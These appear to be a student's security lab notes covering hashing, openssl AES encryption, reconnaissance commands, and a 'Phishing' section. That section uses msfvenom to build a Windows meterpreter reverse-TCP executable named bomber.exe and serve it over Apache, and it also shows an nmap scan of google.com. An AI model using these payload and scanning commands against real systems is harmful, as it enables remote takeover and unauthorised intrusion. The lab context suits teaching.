**Important commands:**

ifconfig

nano

cat

------------------------------------------------------------------------------------------------------------------------ **SHA 512/256**  
  
 - nano sample.txt //create file  
  
 - cat sample.txt  
  
 - sha256sum sample.txt //sha 256  
  
 - sha512sum sample.txt //sha 512  
  
 - sha1sum sample.txt //sha 128

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**Phishing**

**-** sudo su

- cd /var/www/html

- mkdir daivik

- cd daivik

- msfvenom -p windows/meterpreter/reverse\_tcp lhost=xxx lport=4443 -f exe -o /var/www/html/daivik/bomber.exe  
  
- sudo service apache2 start

**- also go to mozilla and pout xxxIP/daivik and download bomber.exe**  
  
 - then go to virus total and upload bomber.exe  
  
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**AES encrypt/decrypt**

**types:**

**aes-256-ecb**

**aes-256-cbc**

**aes-128-cbc**

**==>**

openssl version

nano msg

cat msg

openssl enc -aes-256-cbc -base64 -in msg -out enc1

cat enc1

openssl enc -aes-256-cbc **-d** -base64 -in enc1 -out dec1

cat dec1

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**Answer the below Questions:**

** Find out the IP address of the google.com.**

** Identify how many hops passed to reach the server google.com**

** Find out how many ports are open in the google.com**

nslookup google.com

traceroute -n google.com

sudo nmap google.com

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